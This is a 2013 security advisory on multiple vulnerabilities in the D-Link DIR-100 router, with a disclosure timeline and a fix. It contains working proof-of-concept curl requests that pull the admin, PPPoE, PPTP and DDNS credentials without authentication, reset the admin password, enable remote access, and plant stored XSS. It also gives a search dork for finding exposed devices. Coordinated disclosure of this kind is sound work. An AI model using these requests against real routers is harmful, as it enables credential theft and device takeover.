* Title: Router D-Link DIR-100 Multiple Vulnerabilities
* Date: 2013-09-19
* Author: Felix Richter
* Contact: root@euer.krebsco.de
* Vulnerable Software: ftp://ftp.dlink.de/dir/dir-100/driver_software/DIR-100_fw_revd_403b07_ALL_de_20120410.zip
* Patched Software:    ftp://ftp.dlink.de/dir/dir-100/driver_software/DIR-100_fw_revd_403b13_ALL_de_20131011.zip
* Report Version: 2.0
* Report URL: http://pigstarter.krebsco.de/report/2013-12-18_dir100.txt
* Vulnerable: D-Link DIR-100
    * Hardware Revision: D1
    * Software Version: 4.03B07 (from 2012-04-10)
* CVE Numbers: 
    * CWE-287 Authentication Issues:             CVE-2013-7051
    * CWE-255 Issues with Credential Management: CVE-2013-7052
    * CWE-352 Cross-Site Request Forgery:        CVE-2013-7053
    * CWE-79  Cross-Site Scripting:              CVE-2013-7054
    * CWE-200 Information Disclosure:            CVE-2013-7055
* Google Dork: "D-Link Systems" inurl:bsc_internet.htm D1
* State: Patched by Vendor
* Link to Vendor Report: http://more.dlink.de/sicherheit/news.html#news8

# Table of Contents

    1. Background
    2. Vulnerability Description
    3. Technical Description
    4. Severity and Remediation
    5. Timeline

# 1. Background

The DIR-100 is designed for easy and robust connectivity among heterogeneous
standards-based network devices. Computers can communicate directly with this
router for automatic opening and closing of UDP/TCP ports to take full
advantage of the security provided without sacrificing functionality of on-line
applications.

# 2 Vulnerability Description

Multiple vulnerabilities have been found in the D-Link DIR-100 Ethernet
Broadband Router Revision D (and potentially other devices sharing the 
affected firmware) that could allow a remote attacker:

 - Retrieve the Administrator password without authentication leading to
   authentication bypass [CWE-255]
 - Retrieve sensitive configuration paramters like the pppoe username and
   password without authentication [CWE-200]
 - Execute privileged Commands without authentication through a race
   condition leading to weak authentication enforcement [CWE-287]
 - Sending formatted request to a victim which then will execute arbitrary
   commands on the device (CSRF) [CWE-352]
 - Store arbitrary javascript code which will be executed when a victim
   accesses the administrator interface [CWE-79]

CVE-Numbers for these vulnerabilities has not yet been assigned.

# 3 Technical Description of the Vulnerabilities

## 3.0 The DIR-100 Web Interface and CGI

The DIR-100 Web interface provides a cgi-script on `/cliget.cgi` for
unauthenticated users and `/cli.cgi` for authenticated requests.

list of features provided by each cgi-script can be retrieved by:

    curl 'http://192.168.1.104/cliget.cgi?cmd=help'
    # and respectively when authenticated
    curl 'http://192.168.1.104/cli.cgi?cmd=help'

## 3.1 Authentication Bypass

### Description

The administrator password is not protected in any way on the device, every
attacker with access to the administrator interface which listens on port 80.
For retrieving the Administrator password the request must not be
authenticated. 


### Proof of Concept

The web interface provides two distinct ways to retrieve the adminstrator
password:

    curl 'http://192.168.0.1/cliget.cgi?cmd=$sys_user1'
    curl 'http://192.168.0.1/cliget.cgi?cmd=easysetup%20summary'

## 3.2 Weak Authentication

### Description

As soon as a user is logged into the administration interface, the cli CGI
is `unlocked` and can be used by without authenticating before as
the cgi-script does not check any other authentication parameters such as
cookies or HTTP Parameters. The only access check is if the IP-Address is 
the same. 

### Proof of Concept
    
    # open the router interface in a web browser and log in
    firefox  'http://192.168.0.1/' 
    
    # open a new terminal or another web-browser which is currently not logged
    # in and try to access

    curl 'http://192.168.0.1/cli.cgi?cmd=help'

    # this request will be authenticated and it will not be redirected to the
    # login page. If no user is logged in, the request will be redirected to
    # the login 

## 3.3 Retrieve sensitive information

### Description

Besides retrieving the administrator password without authentication it is
possible to retrieve other sensitive configuration from the device as well like
the PPTP and poe Username and Password, as well as the configured dyndns
username and password and configured mail log credentials when these parameters
are configured. 
No authentication is requred.

### Proof of Concept

    curl 'http://192.168.0.1/cliget.cgi?cmd=$ddns1'
    curl 'http://192.168.0.1/cliget.cgi?cmd=$poe_user'
    curl 'http://192.168.0.1/cliget.cgi?cmd=$poe_pass'
    curl 'http://192.168.0.1/cliget.cgi?cmd=$pptp_user'
    curl 'http://192.168.0.1/cliget.cgi?cmd=$pptp_pass'
    curl 'http://192.168.0.1/cliget.cgi?cmd=$log_mail_user'
    curl 'http://192.168.0.1/cliget.cgi?cmd=$log_mail_pwd'

## 3.4 Cross-Site Request Forgery (CSRF)

### Description

CSRF attacks can be launched by sending a formatted request to a victim, then
tricking the victim into loading the request (often automatically), which
makes it appear that the request came from the victim. As an example the
attacker could change the administrator password (see Proof of Concept code)
and enable system remote access.

### Proof of Concept

Changing the password for administrator can be done when the ip-address is
authenticated:

    # Log into DIR-100
    curl -X POST -d 'uname=admin&pws=password&login=Login' 'http://192.168.0.1/login.htm'

    # Change password
    curl 'http://192.168.0.1/cli.cgi?cmd=$sys_user1=user=admin&pass=c%;$sys_passHash=4%25;commit'

    # enable remote console
    curl 'http://192.168.0.1/cli.cgi?cmd=$sys_remote_enable=1%25;$sys_remote_ip=0.0.0.0%25;$sys_remote_port=80%25;commit'

## 3.5 Cross-Site Scripting (XSS)

### Description

It is possible for an authenticated user to store information on the server
which will not be checked on the server side for special characters which
results in persistent Cross-Site Scripting Vulnerabilities. With this
vulnerabilty the victim (administrator) will run javascript code in the 
context of the D-Link DIR-100.

XSS is possible because only on the client side (javascript code) the input is
filtered and validated, sending data directly to the CGI scripts.

### Proof of Concept

    # Log into DIR-100
    curl -X POST -d 'uname=admin&pws=password&login=Login' 'http://192.168.0.1/login.htm'

    #  XSS in Static IP Address Tab
    curl 'http://192.168.1.104/cli.cgi?cmd=dhcps%20set%20name=<script>alert(1)</script>%26ip=192.168.0.199%26mac=00:11:22:33:44:55%26flg=1%26exp='

    # XSS in Scheduler tab
    curl 'http://192.168.1.104/cli.cgi?cmd=$sched2=schen=1%26time=0-60%26day=5%26desc=<script>alert(1)</script>%26use=0%26idx=2%26;commit'

# 4 Severity and Remediation

This exploits are considered very critical, especially when the feature of remote
administration is activated on the system.  
Weak authentication, together with cross-site request forgery and authentication 
bypass can result in a full device compromise from an arbitrary website the victim is
accessing, even if the device has remote administration deactivated on the
internet-port. It is recommended to upgrade the router with the newest firmware
of the D-Link DIR-100.

# 5 Timeline

2013-09-13 - First Contact with D-Link Support
2013-09-19 - Sent Report
2013-10-14 - Request Status update, Response: Beta will be available mid October
2013-12-02 - Vendor publishes Firmware Update 
2013-12-11 - Request CVE-IDs
2013-12-18 - Publish the report